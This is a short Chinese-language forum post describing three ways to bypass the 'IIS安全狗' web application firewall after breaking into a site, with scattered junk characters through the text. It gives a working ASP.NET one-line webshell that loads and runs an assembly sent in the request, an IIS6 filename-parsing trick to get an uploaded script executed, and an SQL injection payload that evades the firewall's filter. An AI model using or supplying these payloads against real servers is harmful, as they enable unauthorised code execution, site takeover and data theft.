1、绕过IIS安全狗的一句话。/ _# |& I" }1 Q n% m
前几天测试一个网站。找到突破口之后,写入webshell,但服务器上装有IIS安全狗,平时常用的一句话或者shell都用不了。下面这段.net一句话可以突破。
% g3 E. x2 n% M6 g d5 U4 p<%@ Page Language="C#" ValidateRequest="false" %> <%try{System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["admin163.net"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null,null); } catch { }%>连接端用cncert的aspx一句话客户端。* A$ ]! ?; @) f
$ @! L, S/ U9 w2、IIS6.0解析漏洞遇到安全狗。8 X8 Y& N- s1 o3 X# R+ W' C
文件名为
& x6 a d j: c9 L# [9 ]! |) G) K. Zhttp://www.xxxxx.com/sh3llc0de.asp;1.jpg. B( A i- I) ]) T3 b4 ^ u- i
1 z! A8 N4 H- y
这样的会被IIS安全狗果断屏蔽。
' z/ l' y) D, j# e改成如下名称,IIS6一样会解析:% a7 n0 i6 S' O5 y' q
www.xxxxx.com/;1.asp;1.jpg0 ?- W; P x: A7 u, m2 W
" J5 |4 E+ j4 r1 b0 {4 j! g* Y4 E F
3、安全狗的注入绕过。, d* \7 `+ A8 _8 u
常用的如r00ts.asp?id=1 and 1=1 是会被安全狗屏蔽的。
; o) N; t! y% f2 W1 R2 @但如果:
- z3 t- D- q9 Q# @: gr00ts.asp?r00ts.com=%00.&id=69%20 and 1=1; @- v; r4 P3 T& [% G2 O5 k
就可以成功绕过了。0 q: z3 V2 }# a @; B4 Q+ d
, L( d D' S( D; X
5 g8 G( B$ x7 {* q: b1 A8 j |